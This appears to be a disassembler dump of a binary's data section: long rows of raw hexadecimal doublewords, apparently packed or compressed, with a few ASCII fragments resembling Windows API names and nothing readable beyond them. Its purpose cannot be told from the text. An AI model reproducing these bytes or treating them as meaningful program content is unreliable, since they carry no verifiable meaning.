		dd 8D0088D1h, 0C13B144Eh, 0C23B2A7Dh, 0C8A2673h, 0BC4D8838h
		dd 9A2DF980h, 0A53B6B1h
		dd 0C9595404h, 37DBDB77h, 253075DBh, 65830409h,	391000D4h
		dd 0AFA0D44Dh, 76DED966h, 3B568DBFh, 8A1F75C2h,	0D8E8B838h
		dd 80C9A78h, 43A41905h,	0D8CC36C1h, 0D4ADF8D6h,	5181802Eh
		dd 3C62D0F6h, 8D0B0211h, 77770CD0h, 8D020FD8h, 1B503E04h
		dd 3E440E02h, 639E0F02h, 46D0498Ch, 5C1180D3h, 8D00AD8h
		dd 83C40B12h, 37B704C8h, 5C24AEEh, 0C40A7F32h, 4057C01h
		dd 895D7E0Ch, 0A1A06237h, 6E31043Eh, 5AD40506h,	7530E6ECh
		dd 74310607h, 30032C18h, 97AD1B0Bh, 6846D709h, 6D4A10D8h
		dd 921418BBh, 0EA76E00Ah, 30A10B84h, 0C3C3C588h, 0E4239098h
		dd 9CDB5878h, 0C5691967h, 5DB3D35Dh, 3C80FDB0h,	662E9EBFh
		dd 2F4F048Bh, 7E10F2A0h, 0D7C35B9h, 0E33A097Fh,	0C33BC475h
		dd 5321C972h, 61505BCBh, 2E5335BBh, 470C572Ah, 7EC59C62h
		dd 7CB2BF08h, 75EB590Eh, 75CB3BC9h, 2CB0D332h, 5D5D974Ch
		dd 0B34DEFC6h, 753DBF74h, 98479124h, 0B1640C10h, 9DCB3043h
		dd 0C26F3394h, 0CBBBC3E9h, 0BE4C5306h, 1966900Bh, 4CACC84h
		dd 5FF2C477h, 770465C2h, 0C483DA04h, 6A535330h,	0DF074C0Ah
		dd 0FF0CACD6h, 20AB5325h, 0CE46497Ah, 27CCB815h, 0D91BD9AFh
		dd 1EA8E4AAh, 9037D90Ch, 0A48D91h, 0F3A3A8A8h, 66F1A36Fh
		dd 857C83h, 300A0710h, 304B0875h, 310CEC3Ch, 9E0F75BEh
		dd 11C847FFh, 885216C8h, 394AE60h, 6EB7FA26h, 5CFD4B46h
		dd 6212ECEBh, 57C33DC8h, 0C58B7D68h, 6177E80h, 0CE6D423Ah
		dd 196D866Dh, 0F51A1CA5h, 29C11E05h, 936CD263h,	24D00C22h
		dd 0D6FABE8h, 2B365EFEh, 9B3003F3h, 56EED1B8h, 6DAFC116h
		dd 0C60E16F0h, 140A0DFFh, 0B472B54Ah, 6F202A2Ah, 50B33709h
		dd 903722A8h, 11740BF0h, 28D1BF6Eh, 2B990F39h, 0EF8D1C2h
		dd 56B1027Eh, 0F923EB63h, 0AB2C0D33h, 0D1CB7615h, 0F9D10F6Fh
		dd 5F70818Dh, 66057E27h, 0E9A17FB7h, 0AC16EBACh, 3B0279FEh
		dd 4173B87Dh, 2D2BB8F8h, 0EC1342F6h, 1F04AD90h,	2D726750h
		dd 3DBC4B6h, 0D19015F7h, 55C7D8E8h, 0F336DB19h,	165543A3h
		dd 6F470B0Eh, 1EDF647Dh, 3BF07FFFh, 8D067CF7h, 0BAEB017Eh
		dd 0A4C7814Fh, 0FE3BA6E2h, 0FC1E0473h, 0F78BD5B6h, 0FC5F4EACh
		dd 0AC752B00h, 90A17622h, 24A30Ch, 0A6040789h, 0A4FB5CD9h
		dd 0F5044789h, 0C80807F9h, 528512B4h, 98A7A9CBh, 1A3721C0h
		dd 1047322Bh, 0BA10B110h, 0C7448E95h, 0D527A1A5h, 4582AA32h
		dd 186E401Dh, 3C609436h, 48689757h, 76192BB5h, 15B8A05Bh
		dd 9E9C980Eh, 0E9518E0Ch, 0C73E9193h, 0E05DCE35h, 1E142A2Eh
		dd 46110B74h, 5BF86A6Eh, 9A04850Bh, 0B88C8B5Ah,	0CA532084h
		dd 5B1F77B9h, 0DC24D771h, 1AE85589h, 4BD3C8Dh, 69AD7E17h
		dd 72B43C9h, 0A4028DA0h, 0D49F1B10h, 0F5608501h, 0FEBB0300h
		dd 0E0358605h, 0F9B86857h, 85731345h, 0B80ECC30h, 893E4816h
		dd 0EC18DB59h, 62853913h, 0A441AFA2h, 0ACEA01A3h, 72696BE0h
		dd 0FF646F7Fh, 4E5D0734h, 12C540BBh, 0CD9B82A0h, 97314A95h
		dd 50271068h, 39CE84ECh, 0CDE98C4h, 0EE721183h,	7A3D8BA5h
		dd 0A0B912FEh, 52C5A8DBh, 0AC017CC0h, 0DBFB7B1Bh, 18397517h
		dd 0B37EBE5h, 0D01C8DE0h, 0F65C6C51h, 110319B0h, 0F2001BEh
		dd 0B1DBFD7Bh, 1B06282Bh, 151ABD6Fh, 0B5FFCC38h, 99F9A3C4h
		dd 0CCD04DCDh, 8C0E1863h, 0B0DDDBBh, 84EB711Eh,	0D31B30CBh
		dd 9D90D868h, 75B8B9ECh, 4B4F9969h, 13261098h, 80535306h
		dd 404C244Fh, 6A91EB4Eh, 1304B764h, 87EB5F47h, 8C6439Ch
		dd 0DB86C20h, 0ABBAE88Ch, 6A4263C7h, 0D72F5D34h, 0C6C70C11h
		dd 6359F460h, 0B2C87DAFh, 0B8500460h, 91223F0h,	8C1911ECh
		dd 0EEC86154h, 8359C80Bh, 4D8351C7h, 60C07CC8h,	5778EBF1h
		dd 45F1C28h, 5AF08EC6h,	0AC0B1B6Bh, 4C330E8Bh, 9899DAB7h
		dd 213976D0h, 51A6C8B5h, 24CFB833h, 0A2893E89h,	4420FCBBh
		dd 527DB884h, 84AF6425h, 477E97D6h, 0C208C683h,	5ECF72F0h
		dd 0CC0400A7h, 5F78D81Dh, 0D574C4C7h, 0AE075328h, 0D1350CBFh
		dd 280F474Ch, 666A9F11h, 138B67E8h, 25FF2C11h, 91054808h
		dd 4C8C8E7h, 0F410F800h, 919AC16Ch, 0CCECF0h, 0EC27E819h
		dd 0DCE08C8Ch, 0F33D5100h, 767D1BF6h, 7208F58Dh, 87E98114h
		dd 162D662Dh, 85EC7F6Fh, 0EC731701h, 0C48BC82Bh, 8BE18B0Ch
		dd 0B748C8F1h, 0C33140C1h, 8C88804Fh, 8CC8869Fh, 60B8E999h
		dd 0C96F6029h, 3A1D77C9h, 88C813h, 0F4F7284Ah, 19930520h
		dd 7E1680E1h, 0D03DCC39h, 271B34F7h, 6F5085A8h,	0DF1B4820h
		dd 0D97972Eh, 2C32132Bh, 2A7410DCh, 4BCB3580h, 6C1C2F7Ch
		dd 0CB203A27h, 142FD6E5h, 30585811h, 0AC765CDAh, 132B805Fh
		dd 0E8112898h, 578C2089h, 9F7202A6h, 0E6B5BFE5h, 6D029709h
		dd 70636D65h, 65739979h, 97FCB3B9h, 7302BE74h, 656C7274h
		dd 0C302C56Eh, 6BCFDD3Bh, 1D616309h, 0D3A631BAh, 3F7FB76Ch
		dd 5940333Fh, 2505841h,	0F0F5A40h, 0F837FD32h, 0F490E3Ah
		dd 7865AACAh, 74706563h, 6EDD685Fh, 725243D1h, 43023DC1h
		dd 0ADB3696Fh, 491BB2FDh, 7878435Fh, 48758546h,	0DEA3781Dh
		dd 4513AF0Ah, 6C825F48h, 0BD42676Fh, 0D0310B41h, 7B545243h
		dd 3DB67D9Ch, 14E4957h,	38F0C45h, 0B6418A6Ch, 7933DEE0h
		dd 240BAA0Bh, 76A83743h, 0BDBFB542h, 54600D60h,	7474DEDBh
		dd 6FD35265h, 0B7BA8105h, 37FFDB6h, 0E697257h, 73966250h
		dd 721B4D73h, 0EED7FB9Bh, 470189C7h, 644113F6h,	11177264h
		dd 0A5D82E67h, 6C75213Ah, 0D8095F4Fh, 356FFDAh,	74726956h
		dd 416C6175h, 84452A84h, 751CC10Ah, 4C310261h, 0EA9BB535h
		dd 695433FFh, 6F436B63h, 2074E75h, 86B60649h, 2BD5AEEDh
		dd 2E64656Bh, 97670363h, 0C04AEB57h, 50754D41h,	930F6555h
		dd 0A1364DEAh, 0DAD1452Fh, 5961FDFEh, 6C5F0388h, 0F500DB63h
		dd 461D5302h, 0A56DBC80h, 0D6D6710h, 9E47014Fh,	8BDD70E0h
		dd 0B8F6F25h, 0D5797021h, 0A66BF6B6h, 0F795323h, 1EBE44EBh
		dd 0C5AE6ECh, 27316F1h,	4E32335Bh, 26B2BB6h, 497530D7h
		dd 0E6C8718Ch, 6525CB68h, 0DF68AD06h, 6F70AA96h, 1870B0A3h
		dd 70616E53h, 46DD6B61h, 0D51B6F28h, 1E627F43h,	82DB784Bh
		dd 6D654144h, 0BB4645DBh, 4EA57C33h, 32915EAh, 37140B53h
		dd 0EC16D8h, 6E1A2FDAh,	0F92FD230h, 0D5AACD86h,	0C85AC3ACh
		dd 4CF2DAD6h, 11A04561h, 66F74685h, 76453B9Dh, 0F4A1FAEh
		dd 0C2B46064h, 7F7AAEh,	49FB6544h, 671E886Fh, 4C76D6D5h
		dd 1F31E500h, 80007965h, 2ED56137h, 5DC88702h, 13868D96h
		dd 6592453Ch, 4466123h,	68D80160h, 426C2553h, 0F8D4CF75h
		dd 4902A900h, 2DEB721Ch, 0AD6C735Bh, 430A7043h,	53C2694Ch
		dd 7386C9BDh, 765F3D21h, 4B08C288h, 9F79D528h, 0F436BBF1h
		dd 0FF501C68h, 45007D18h, 0F6532EDBh, 69694508h, 9F685C64h
		dd 428DB76Ah, 146C2767h, 0CA267942h, 55D1CE6Eh,	6927284Fh
		dd 330787Ah, 9B556309h,	6AB00F45h, 0F8DFE9h, 3C52454Bh
		dd 5D0BC74Ch, 2D870A9h,	6682635Dh, 0C2187B71h, 0FC80258Ch
		dd 0E9C371D6h, 65061789h, 64D07267h, 3B36ED25h,	0E3007Ch
		dd 553F0CAFh, 76B65A53h, 1C5761E1h, 756AF900h, 0B06BB3EEh
		dd 149C009Dh, 17D73B7h,	0ADC936C3h, 7075126Fh, 0A7759656h
		dd 6901621Eh, 343D01A8h, 16F0528Bh, 0C620D48Eh,	0F8A9654Bh
		dd 4336440Dh, 9A3034CCh
		dd 0D6D8CC1Fh, 20EC3BDFh, 56444112h, 4B83496Fh,	25617942h
		dd 27556F43h, 67856C11h, 47300F66h, 390F5475h, 0D6036B0Dh
		dd 916F1F49h, 5160AE3Ch, 0FFCE0084h, 3F50DFD6h,	60335C33h
		dd 3A336C33h, 3380337Ch, 0FF90338Ch, 33FF06FFh,	33B933AFh
		dd 1BEB33C4h, 22340934h, 53343134h, 79345A34h, 0FF348434h
		dd 0A8FFFFFFh, 0CC34BB34h, 634F634h, 31352B35h,	4E353B35h
		dd 7D355D35h, 8E358835h, 9D359335h, 0FF35A735h,	0B4FFFFFFh
		dd 0EA35D335h, 1035F535h, 40363536h, 5B364836h,	66366136h
		dd 90367736h, 0AB369736h, 0FF36B236h, 0C2FFFFFFh, 0E636D136h
		dd 18370436h, 2A372337h, 53373937h, 6F376837h, 0F237C237h
		dd 6937F937h, 5638B738h, 0CCFFFFFFh, 0EB38DE38h, 2938FF38h
		dd 5C395039h, 94398039h, 0A5399A39h, 0A539B839h, 0FFFFFFFFh
		dd 39CB39C5h, 39D839D2h, 39E539E0h, 3A0D39F8h, 3A4F3A48h
		dd 3A923A84h, 3AE43AA5h, 0FF3F3AEDh, 3BF16FFFh,	0E273C12h
		dd 3F3C383Ch, 0A33C5E3Ch, 0BE3CB13Ch, 43CF23Ch,	0FF3DC73Dh
		dd 0E5FFFFFFh, 133DF53Dh, 343E183Eh, 793E3A3Eh,	983E7F3Eh
		dd 503EE93Eh, 643F573Fh, 7B3F6B3Fh, 3F3F863Fh, 98FFC34Ah
		dd 0D13FCB3Fh, 0F13FEC3Fh, 73200F3Fh, 0FFFE302Ah, 31B0FFFFh
		dd 330A31B5h, 332A3320h, 33B03337h, 355333B5h, 36153566h
		dd 3633362Ch, 3657364Ah, 0FFFFFFDCh, 36ECC3EFh,	37B43758h
		dd 37F437C8h, 383637FAh, 38473840h, 38873859h, 38A03899h
		dd 0BFFF38A6h, 38ACFFFBh, 38B838B2h, 38C438BEh,	0D1D838D2h
		dd 39283922h, 393D392Eh, 39683951h, 40043984h, 3990E358h
		dd 9200F0ACh, 0FF8A1281h, 0FF65F7D0h, 0D00F75ABh, 0BE6E3149h
		dd 1ABF031Ah, 37DD0715h, 4D687CDFh, 37361AADh, 3F1AB44Dh
		dd 1AB868F6h, 4F522730h, 69E71464h, 5076863h, 0B535F700h
		dd 727CE4B9h, 31400140h, 2EB079Fh, 97139ABEh, 0D2C31A0h
		dd 0E9D8C80Bh, 403F601h, 7BC51927h, 0CA3BA0F2h,	0DB0725FEh
		dd 7C538A31h, 34603A30h, 0CEC2689Fh, 0E00492BDh, 304F2338h
		dd 0BC28A703h, 831CC840h, 2A7676A9h, 295407A3h,	0A207602Bh
		dd 7628C2Dh, 642B3B92h,	7461525Eh, 80FBE761h, 46435307h
		dd 0D8C80731h, 58DD65B2h, 2307AF54h, 0B34F072Ch, 0E21D0A8Dh
		dd 0D19F2Eh, 98A323EBh,	780F37Dh, 60E13B57h, 2B27F14h
		dd 0ED07C003h, 7F314651h, 0EB0332E2h, 0ACB36CEh, 32F61833h
		dd 0AA0BC013h, 9A69A603h, 60DE94A6h, 0B2C8384Ah, 10FA9AEBh
		dd 7A8B267Fh, 34D34433h, 3BC6375Dh, 7E9603B2h, 34D3656Ah
		dd 2E3E5E4Dh, 9A31FE16h, 0E69A69A6h, 8CA6B8D0h,	9630E374h
		dd 93315C6Dh, 0DF27025Bh, 4AA40414h, 83535126h,	722EFFC9h
		dd 0C1F954BFh, 20BB5051h, 0EAB75F20h, 0C5FC821Fh, 7D8B2856h
		dd 88B9C5FCh, 778297D4h, 0F3C0332Eh, 358B5DABh,	0B73D0328h
		dd 88A06E89h, 0E88845E4h, 6C8C1405h, 0E08EE93h,	0D8D41DE4h
		dd 872321C8h, 78DCD4D8h, 0E0C87632h, 5DC0EE0h, 0EF92E4ECh
		dd 0AD6E123h, 0B9FFF4FCh, 0C0839EC1h, 0AC04133Ch, 33FC4EA6h
		dd 0B78239F6h, 0F875F772h, 68144875h, 382205FCh, 0CCD6646Ah
		dd 0C4C83DF7h, 13221B22h, 333BEF18h, 1C1634D9h,	0FF147414h
		dd 500F3870h, 1682BAFBh, 1009FC8Bh, 0A214EAh, 0E0CCBE7Ch
		dd 0E14BF8D8h, 0CC86192Eh, 0F105F7Dh, 1CA8EB7h,	70AC763Fh
		dd 8D282A21h, 3B07F1BEh, 0C81274C7h, 8BFFEEF6h,	88B0450h
		dd 890A8950h, 441B0451h, 1DE8EB5Eh, 3D8FB7D4h, 588D3F72h
		dd 3D831FC4h, 4192C60h,	5B6F4175h, 4E8D0CF1h, 0B02BA3Ch
		dd 0CD404688h, 0A1DB0FD8h, 0C91AD24Ch, 1D40568Ah, 23D9EBA0h
		dd 4ABBB640h, 0EE76FFDCh, 0B67E10E1h, 8D2E3407h, 354F4786h
		dd 528FB10Ch, 0DC560114h, 141AFF03h, 0D10E87A9h, 85F88B2Eh
		dd 55B41FFFh, 8A973F3h,	186783h, 11C47C7h, 73750DE1h, 6240600h
		dd 8D0E460Dh, 4F8FB28Eh, 4789FBC7h, 9E258A20h, 0F7768688h
		dd 1A67F6B7h, 8904438Bh, 38041F1Fh, 8A047B89h, 0DB361896h
		dd 0AC97B367h, 0D0157505h, 8E760040h, 47585EECh, 0C4B6FF4Dh
		dd 7607EB0Bh, 1B1C3658h, 8550A536h, 0E1803D07h,	9B3C2F34h
		dd 636951CDh, 7194F8Bh,	66C60189h, 4889DEC9h, 0C260735Ah
		dd 6E7B645Eh, 0B2ABC7C0h, 0B008B6C4h, 0CDDD3399h, 5AD0BD02h
		dd 0B6579D83h, 0F21D8BB8h, 2B0AB84Dh, 2AC38011h, 2B5906FBh
		dd 0D31EC01Bh, 0D0DF0BB9h, 8E5D8D30h, 247C83CCh, 0E10FD308h
		dd 99012DFEh, 8B470Ch, 0A06B08A3h, 0B1B6C058h, 96CCC9C2h
		dd 60170DD7h, 0BFB89A4Bh, 0EDB79BBh, 5E8B7FE0h,	0E3B8060h
		dd 4B8B4475h, 0C2538BF8h, 0F0176D4Dh, 0C0BF0B7h, 0F981FF33h
		dd 0F445D9E0h, 9BD2C410h, 4174F8EDh, 3974E40Dh,	52FB5D8Dh
		dd 4DBB75FBh, 7751509Ah, 9643E50h, 4B0DBF51h, 0D2EA97E0h
		dd 89D2322Fh, 4689187Eh, 768B301Ch, 8BC4C225h, 0D9F044C7h
		dd 51CD16F0h, 4C6030FFh, 0EDCA7454h, 6B9F2D23h,	58F685F0h
		dd 46C60CDBh, 0BF63DB64h, 6846DDFBh, 44B3B89h, 153C850Fh
		dd 0F0DF983h, 0F41E3382h, 1A37DB37h, 0CC255D8h,	2210CA3Bh
		dd 16F87D81h, 9F7FC1EAh, 46C70975h, 6673C618h, 0D85C23F6h
		dd 8D1A8BE3h, 1C4E719Fh, 50C488Dh, 0F6DBE106h, 0D7408B20h
		dd 892455CBh, 874AEC5Dh, 46BFB16Fh, 878D928Fh, 6F42BE4h
		dd 0C6783189h, 7089C2C8h, 13CB9756h, 42005D8Bh,	430F585Bh
		dd 0BAC6481Dh, 0CD20CD2Ch, 7746B746h, 0D52B6857h, 0F7B910F9h
		dd 6185C1DBh, 3135170Bh, 0AC0C1DF4h, 8A0D0B2Ah,	3BE4B574h
		dd 0B5A1286Eh, 4189DB80h, 49F0459Ch, 61704444h,	0E689E086h
		dd 76704EA6h, 6F1B272h,	569BEC97h, 88609F2Ch, 0CB73C5F5h
		dd 0EE437389h, 0C68762CDh, 26572278h, 8BE0861h,	0C5DF169Fh
		dd 0BDDB6205h, 1CBB1424h, 0DE778BC8h, 9399CC3Eh, 0CF17DCDh
		dd 10020C39h, 0B3E1D3B8h, 5751CEBh, 0A3030BE8h,	0E04AEB30h
		dd 0D866CF6Ch, 0D12DD56h, 56CCC941h, 0AF492043h, 25163C6Bh
		dd 5D410052h, 490D5203h, 732F9Ah, 57005F1Bh, 24C15B4Eh
		dd 0D1102405h, 1BA2DC08h, 8D7A5070h, 538A305Eh,	0BBA14566h
		dd 0AFC45h, 0F33BFA05h,	0B90BB5D9h, 121C0972h, 0EF20CF0h
		dd 64F3E6CDh, 18E87EF4h, 8EEC1AEAh, 8B5EC6FFh, 0C084D7F8h
		dd 45AB2175h, 0F82140Ch, 7E85927h, 23350332h, 363B236Ch
		dd 418A564Ch, 3F6EA48h,	11BB5B91h, 3F0B02C2h, 0E4880C06h
		dd 10E7C8F3h, 0D8140E1Ah, 1C0BC018h, 0F9F9F9E4h, 103E2079h
		dd 28137C24h, 9A2C0CC8h, 85AE1C0Dh, 2847663h, 85CC3A5Dh
		dd 0DDFD0A66h, 0D62C144Ah, 641BADEEh, 20038B1Eh, 0E68A17Ch
		dd 0FE420789h, 4D8F9F4h, 89047808h, 0C606EB3Dh,	1B03E42h
		dd 9142A75Bh, 0C77F2Eh,	5D8E832Fh, 18069C6Bh, 2259344Bh
		dd 6BDED942h, 31C2C0Bh,	389F1863h, 0EB3A9BB4h, 0B58FDE02h
		dd 0F709BE56h, 0DF58878Ch, 5CA24CCEh, 9BDBB60Ch, 4EB89331h
		dd 7D834B58h, 0FF21610Ch, 83D2C190h, 9D753E78h,	1EEBCE2Eh
		dd 7E1840C7h, 3A7B115h,	35201556h, 78E0D22Fh, 40592A5Eh
		dd 78100218h, 527EF7CCh, 8A1850ABh, 0A06D6015h,	22F62EB2h
		dd 5672854Ah, 0C68C5873h, 0A274EB53h, 0ECEB36B2h, 0DD1CC631h
		dd 5E75DE56h, 0C86C0628h, 0CAA37DEh, 72582834h,	0E223C36Bh
		dd 4E57F85Dh, 0B51183E0h, 728F68C0h, 2E79D2FCh,	0B7E9FBC5h
		dd 7B548FE4h
		dd 0B86005EBh, 64568D72h, 7F740C55h, 7F89BFDBh,	80F0EB36h
		dd 3700647Eh, 8B53684Eh, 418B6051h, 52305A6Ah, 810CE91Bh
		dd 708AFFBh, 0C0A90DAEh, 0D8CFA285h, 0B22C0375h, 66A5F4ADh
		dd 18B81058h, 0B08428Bh, 3495C807h, 0A95B7348h,	0EC1830FCh
		dd 1029EB1Eh, 7DCDD08Ah, 0AB5C0461h, 0BBD402E0h, 9774CFEh
		dd 2CF8190Fh, 0E3533F5Fh, 480F2C41h, 0DB85D8FCh, 0DFFFFCAEh
		dd 2955F1D5h, 8FA8110h,	75400100h, 0E718D47h, 0A5247B8Dh
		dd 288BA566h, 15AD5B10h, 765C3007h, 0DE90542Bh,	638369F3h
		dd 0DB3019C4h, 0CEB1DAEh, 0F612201Ah, 0DD6EDC1h, 66040966h
		dd 20A11407h, 95DD0B29h, 36EBED9Eh, 0D618094Eh,	0AB66AB4Dh
		dd 0F3352BDBh, 0F63E2A07h, 0D80B1F42h, 143056CEh, 93ED0C27h
		dd 947CDB1Ah, 51140A11h, 0DC38BC52h, 0E0DBC3DDh, 10AF930Ch
		dd 14708D3Dh, 8070296h,	67D9D333h, 87DE8D59h, 8B212A1Ch
		dd 0B2055590h, 57B216Fh, 5850D771h, 0DB2022EBh,	0F06D03Fh
		dd 528B921Bh, 0F1218330h, 7E164C50h, 37694CB8h,	4513C50h
		dd 2325833Ch, 9980F852h, 23183A00h, 0ECACAF4Fh,	0F18BD33Ch
		dd 9F1DCF0Bh, 3BB90510h, 0F09688F9h, 3B60A5FCh,	80C73294h
		dd 0C4788D52h, 5F0E7D3Bh, 407CA2h, 478B4097h, 0E869FC3Ch
		dd 8708499h, 0A8576CD3h, 0E7035A1Dh, 8FE31CFEh,	0D77241D8h
		dd 0D72A528Ah, 8C3118EBh, 0F246170h, 770C3D20h,	2F09DF24h
		dd 3FF4BE0Ch, 0E33748A7h, 4AF4BEEFh, 0F77D89CFh, 5B3ADCB8h
		dd 0F8B6B6FBh, 0E7B40118h, 0E141F6FCh, 0FBBB9AD7h, 0F3A6B674h
		dd 1BEDB376h, 9A3A1948h, 0E2447F83h, 3661D051h,	0D3C11663h
		dd 0B2311644h, 0E552D195h, 28F60D8Bh, 0D3E3A2BAh, 76A71E56h
		dd 2254AA60h, 61A374E0h, 0A9F97FFFh, 8B3A6253h,	118BC14Dh
		dd 674D285h, 108BC28Bh,	0E083F6EBh, 7BAE16C6h, 0A853B4F4h
		dd 2F8EEB0Ah, 4B2D58EEh, 20830CA6h, 7682801Ah, 0CF132974h
		dd 845114A0h, 0C39005EAh, 4D425638h, 0EF143F96h, 0BF76BEFh
		dd 0D08699FFh, 460A06BAh, 637C5060h, 8CBB07BCh,	0BAA83986h
		dd 34F4B3D3h, 670C10E3h, 3CA22464h, 2321A792h, 313F077h
		dd 0DC5BF86Ch, 0D6A5C7Bh, 755A03FFh, 4BA58B19h,	0A17C112Ch
		dd 7744A750h, 0E519722Dh, 67B6FB5Bh, 2A4B0306h,	18591CEBh
		dd 488B0A73h, 0F82376CFh, 731477CEh, 13EB4F05h,	2D08401Dh
		dd 66B41AD0h, 0A9EB232Ch, 0D5EADC1Bh, 148B2C0Bh, 0F67B3602h
		dd 0BA6739C1h, 108FC16Bh, 13DC1084h, 36DCD85Fh,	18A508B3h
		dd 27F7620h, 2DF8207Dh,	14045F2Dh, 34F46583h, 76FFFE62h
		dd 40DBBF0Dh, 184D6889h, 0C33DD950h, 731C7D39h,	1BE86097h
		dd 452BC7EBh, 4BA2B11Ch, 21FD3AB0h, 73FF4043h, 67DF7C38h
		dd 46EC9EC5h, 40538A24h, 80F89927h, 800A0D7Fh, 2BBA528Bh
		dd 0B2C9F475h, 4C4F7815h, 0EC343BC2h, 36360580h, 66342640h
		dd 7565D81Dh, 5EB35E24h, 41BA68EBh, 6846A16Bh, 0C137C985h
		dd 51D855C0h, 79834FEEh, 0E1A949F1h, 25746152h,	89540849h
		dd 0CB6359B2h, 14E2E7C5h, 0DA850B78h, 8014F80Fh, 781A1C60h
		dd 2155364Ch, 2E0A5F6h,	0E182A5F3h, 1DA4F303h, 0F600D270h
		dd 7C8D0442h, 73D1A10h,	34FC07DBh, 608318B3h, 8CE4D48h
		dd 631B6944h, 83882517h, 8B1055CFh, 1FBBB925h, 73838DF0h
		dd 89113C4Ah, 0D4054042h, 691B133Eh, 0C1A00B3Ch, 30872D08h
		dd 2E93AFB6h, 77F424CEh, 9A23AEF4h, 83C1C099h, 4C08448Dh
		dd 4306085Eh, 7526291Fh, 20D83670h, 0EFE8F2D9h,	3874ECE8h
		dd 48E96C3Eh, 0A27E5148h, 6EE6DF1Ch, 535C73F4h,	44342E54h
		dd 88DB482Ch, 8E44A955h, 2770BF20h, 0F73B156Dh,	710CD0B3h
		dd 743A3C39h, 0CC375BA4h, 4160DFA6h, 0C34049D3h, 0D83A46B2h
		dd 2358BC4h, 0C8AAD6h, 0D79EC342h, 8CD308BAh, 29D63406h
		dd 3F4A376Bh, 0F09C2C64h, 0B805EB30h, 23201C16h, 1CE12CD0h
		dd 716C8409h, 15348308h, 23889404h, 269C0CCFh, 2CF6CA57h
		dd 57090234h, 533F0C31h, 0E95AC1C1h, 14EB1B75h,	0C0EC35DBh
		dd 0BEACD98Bh, 0DA2B2075h, 1393A572h, 0A4D88357h, 0DA12F8FBh
		dd 522C1054h, 61022B74h, 0CDB4D9F1h, 3C75B02Dh,	0B6596CB2h
		dd 2303C6Dh, 0ED24282Ch, 8587B06Eh, 0E62C1074h,	0DC622D2Ch
		dd 511A05AAh, 823AD083h, 0FD099D6Fh, 0FAC28BFh,	28024FB7h
		dd 0FA469AF5h, 0E3DD728h, 0C64B6361h, 21BBF65Bh, 0A028399Dh
		dd 15B7095Ah, 8134080Eh, 0D6E66311h, 21F1DE5h, 0B5CA830Ah
		dd 0B58B9EEBh, 5960168Ah, 88E62015h, 11CCC43h, 6D803BE0h
		dd 7189C06Fh, 459890Bh,	1378C918h, 0CA4F61D8h, 1B22C857h
		dd 8B154870h, 5C137207h, 9436D8C4h, 2F03B04Bh, 1BDB6CB2h
		dd 1842A72Dh, 5A20056Ah, 0EDADC47Eh, 8B34883Bh,	0C23B8104h
		dd 23B35C7Eh, 0EE578DF4h, 0B740368h, 81E9BE53h,	3C1BE756h
		dd 1539E440h, 3E88FFDh,	8B250F85h, 6A8E2237h, 6177A13Dh
		dd 59A258h, 0B38B01A0h,	0DDECA8D4h, 58BEF8Dh, 0FEBDC89h
		dd 6A604324h, 7ED0211Ch, 0BEDAB01Bh, 0BF313990h, 6A3766CEh
		dd 16758A15h, 3BB9EC63h, 231DF033h, 7136EC6Eh, 354D738Bh
		dd 77096418h, 0DE7B574Dh, 58B65968h, 544C3005h,	1B1830B4h
		dd 0D6CB2E46h, 5C480C18h, 1950AE54h, 345979ECh,	541A125Ch
		dd 0AFFE1DB7h, 90E80DBBh, 4059D8Ch, 0C7445389h,	0A31C4800h
		dd 291A7D2Bh, 0BEC63B01h, 44DB0293h, 0C77018EAh, 53067B43h
		dd 10B7631Eh, 0A48EBA22h, 96F5C03Eh, 4CC6063Bh,	840C3421h
		dd 0B9A0E512h, 5D146130h, 0BB354884h, 3526D721h, 29E80E2Ah
		dd 0F758C907h, 78A6B259h, 916B570Ah, 0B58A8468h, 0F7B1875h
		dd 29DE006Eh, 1A6FD40Ah, 7A8D1B6Ah, 9F075910h, 1858E02Ch
		dd 0BFF3E14Dh, 2E1D7C06h, 105109C9h, 0A050984Eh, 991A3700h
		dd 323243B7h, 46326B86h, 4DCE0CFCh, 398CA64Dh, 665BA360h
		dd 0B6320AB4h, 0AD70D6Dh, 4A31AA64h, 77597A08h,	0D1DED8FBh
		dd 0E0CA664Ah, 324B14AAh, 42C08571h, 0C681181h,	5FA8939Ch
		dd 605C47ABh, 14B98F0Ch, 0D3CB428Eh, 530084F2h,	843B1931h
		dd 5CBB800Eh, 0EC278A60h, 90A46ECCh, 8D8066E2h,	670A4E5Ch
		dd 0C46E4145h, 0FA008897h, 25300C88h, 38EC8191h, 2BC41D10h
		dd 125725CCh, 0CD6807BFh, 3304B9AEh, 0E6C3BAFFh, 0D89680D9h
		dd 0FC04DCDAh, 3B3E6C9Eh, 0CA0CC812h, 0D010CC0Eh, 0D9910B18h
		dd 0D41AD27Ch, 9466F820h, 36DD028h, 2CE213E0h, 0D5D40FD2h
		dd 0A2531740h, 0A0083056h, 0C228656Dh, 995D8D57h, 0A7365B61h
		dd 0C80A1ED6h, 0B7580C81h, 0D011CB21h, 500C83Bh, 0F6C8B7Dh
		dd 11D83B18h, 788C3DB6h, 3FEE2284h, 0ECBA1F6Fh,	2004B809h
		dd 7F0C8DF8h, 0B419E7C1h, 48EEC42Dh, 44D521C4h,	77F4DC07h
		dd 56EFACE8h, 53BF773Ah, 8D458189h, 0D106DC60h,	0F6E0B541h
		dd 96DE8C00h, 4D5B17A0h, 7D318BE0h, 4581C128h, 0AFAC99A0h
		dd 0F4BBB9A2h, 0BAB60DFFh, 8DC2FF50h, 32B87373h, 6A9A2E89h
		dd 7A8DDF00h, 0B6E5B5F8h, 0DF86675h, 3040883h, 96FB02ECh
		dd 6F4D68Eh, 114279Dh, 0F0B41BE9h, 0B2176E6Dh, 5E377B85h
		dd 460014F0h, 0FF1E19B9h, 0FEEE150Ch, 0A093A00Ch, 3889CABBh
		dd 0C651E35Fh, 7BD41C31h, 6C6AE279h, 73718B8Ch,	0FE00F4Dh
		dd 2CD3591Bh, 63A239A3h, 0FBC321C3h, 130C1A1Eh,	282B5AD1h
		dd 8C140D71h, 26734182h, 0BA438364h, 0E017750Eh, 8308A80Eh
		dd 9C383597h, 904C0D5Bh
		dd 9BD2F893h, 8128481Ah, 0C401147Bh, 0B80775FCh, 0A6D834ACh
		dd 4637EB2Ah, 0A445B957h, 93C5278h, 5304C053h, 735A01BDh
		dd 682F8740h, 68F14CD9h, 9BBDFDC4h, 3B1D6A5Fh, 0BE4C8BBFh
		dd 8193A354h, 7F061479h, 1AE00A1h, 81208D6Dh, 7605DC38h
		dd 6854D005h, 6001B1Bh,	3C725E2Ch, 2FA39DDDh, 29665D14h
